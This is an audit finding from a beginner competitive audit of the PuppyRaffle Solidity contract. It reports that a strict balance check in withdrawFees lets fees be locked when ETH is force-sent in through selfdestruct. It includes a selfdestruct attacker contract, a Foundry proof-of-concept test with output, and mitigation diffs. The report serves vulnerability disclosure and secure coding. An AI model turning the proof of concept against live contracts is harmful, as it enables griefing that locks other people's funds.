First Flight #2: Puppy Raffle
First Flight #2
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Unable to withdraw fees if contract balance is not equal to `totalFees` when no players are active

ciara

PuppyRaffle::withdrawFees checks if any players have entered using the assumption that if the contract balance is equal to the accumulated totalFees then no players are active. If this assumption passes, the feeAddress can withdraw their fees. If any funds have been locked in the contract either due to a bug or by being force-sent to the contract, the call to withdrawFees() will revert as the contract balance is higher than totalFees, even if no players have entered and the assumption breaks. This results in a state of DoS and the fees are locked in the contract.

Vulnerability Details

withdrawFees() checks if the contract balance is greater than totalFees, on line 158, using the following require statement:

require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");

This check is used to determine if there are any currently active players. The assumption is that the contract balance will be equal to totalFees if no players are active however this assumption can be broken. The balance of the contract can be different from totalFees for numerous other reasons including:

  • If an overflow has occurred.

  • Precision loss leading to the remainder of the funds not being transferred (see issues: "Precision loss when calculating fee due to unsafe math" and "Precision Loss when calculating prizePool due to unsafe math" for more details).

  • If an attacking contract self-destructs and the funds are sent to the PuppyRaffle contract.

  • A reentrancy attack has reduced the contract balance (see issue: "Reentracy attack when calling PuppyRaffle::refund means an attacker can steal entire contract balance")

If the contract balance is higher than expected due to any of the above reasons, withdrawFunds() will be in a permanent state of DoS and the feeAddress will not be able to withdraw the totalFees.

Impact

withdrawFunds() will revert if called if the contract balance is not equal to the totalFees (detailed above). This is a permanent state of DoS and the feeAddress will not be able to withdraw the totalFees.

An attacker can maliciously send funds to the contract by adding a fallback function to an attacking contract which calls selfdistruct(). When the fallback function is called, sends it's funds to the PuppyRaffle contract. The attacker would add a balance to the contract before self-destructing and stop the feeAddress from withdrawing their funds. Since there is a reentrancy vulnerability in refund(), where the attacker can steal the entire contract balance, the attacker can prevent the feeAddress from withdrawing and then steal the entirety of totalFees that has accumulated as well as all of the prizePool (see issue: "Reentracy attack when calling PuppyRaffle::refund means an attacker can steal entire contract balance").

Since the feeAddress being able to take a 20% portion of the raffle winnings is a core capability of this contract, this is a high-severity vulnerability.

Proof of Concept

Working Test Case

The following contract implements a fallback function which, when called, calls selfdistruct() and sends its balance to PuppyRaffle:

contract SelfDestruct {
​
address payable receiver;
​
constructor(address payable _receiver) {
receiver = _receiver;
}
​
receive() external payable {}
​
function attack() public {
selfdestruct(receiver);
}
}

This test initially runs a raffle to accumulate a totalFee balance to attempt to withdraw. Funds are then sent to the attacking contract and attack() is called to send the funds to the PuppyRaffle contract. withdrawFees() is called and the test passes if the function call reverts and the contract balance is non-zero meaning that the feeAddress cannot withdraw their fees.

function test_poc_withdrawFeesRevert() public playersEntered {
// run an initial raffle to accumulate fees in the puppy raffle contract
vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);
vm.prank(playerTwo);
puppyRaffle.selectWinner();
​
// create instance of attacking contract
SelfDestruct selfDestruct;
selfDestruct = new SelfDestruct(payable(address(puppyRaffle)));
​
// send funds to the attacking contract and call attack
vm.deal(address(selfDestruct), 1 ether);
console.log("Attacking contract balance before attack: ", address(selfDestruct).balance);
selfDestruct.attack();
console.log("Attacking contract balance after attack: ", address(selfDestruct).balance);
console.log("PuppyRaffle contract balance after attack: ", address(puppyRaffle).balance);
console.log("totalFees accumulated: ", puppyRaffle.totalFees());
​
// attempt to withdraw the fees
vm.startPrank(feeAddress);
vm.expectRevert("PuppyRaffle: There are currently players active!");
puppyRaffle.withdrawFees();
}

When run, the test yields the following output:

$ forge test --mt test_poc_withdrawFeesRevert -vvv
​
// output
Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest
[PASS] test_poc_withdrawFeesRevert() (gas: 365497)
Logs:
Attacking contract balance before attack: 1000000000000000000
Attacking contract balance after attack: 0
PuppyRaffle contract balance after attack: 1800000000000000000
totalFees accumulated: 800000000000000000
​
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.66ms
​
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

As observed, the test passes meaning that despite no players being active, withdrawFunds() reverts and is therefore in a state of DoS as expected.

The PuppyRaffle contract balance is higher than totalFees as the Attacking contract has successfully forced its funds into the PuppyRaffle contract.

Recommended Mitigation

To mitigate this issue, allow the feeAddress to withdraw the funds at any time, even if players are active:

function withdrawFees() external {
- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}

Alternatively, send the funds to the feeAddress during the selectWinner() call:

function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
address winner = players[winnerIndex];
uint256 totalAmountCollected = players.length * entranceFee;
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
- totalFees = totalFees + uint64(fee);
​
uint256 tokenId = totalSupply();
​
// We use a different RNG calculate from the winnerIndex to determine rarity
uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;
if (rarity <= COMMON_RARITY) {
tokenIdToRarity[tokenId] = COMMON_RARITY;
} else if (rarity <= COMMON_RARITY + RARE_RARITY) {
tokenIdToRarity[tokenId] = RARE_RARITY;
} else {
tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
}
​
delete players;
raffleStartTime = block.timestamp;
previousWinner = winner;
(bool success,) = winner.call{value: prizePool}("");
require(success, "PuppyRaffle: Failed to send prize pool to winner");
+ (bool success,) = feeAddress.call{value: fee}("");
+ require(success, "PuppyRaffle: Failed to send prize pool to feeAddress");
_safeMint(winner, tokenId);
}

Note that the case where feeAddress cannot receive funds will need to be handled to avoid a DoS calling selectWinner().

Tools Used

Updates

Lead Judging Commences

Hamiltonite Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

weak-randomness

Root cause: bad RNG Impact: manipulate winner

greifers-send-money-to-contract-to-block-withdrawfees

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.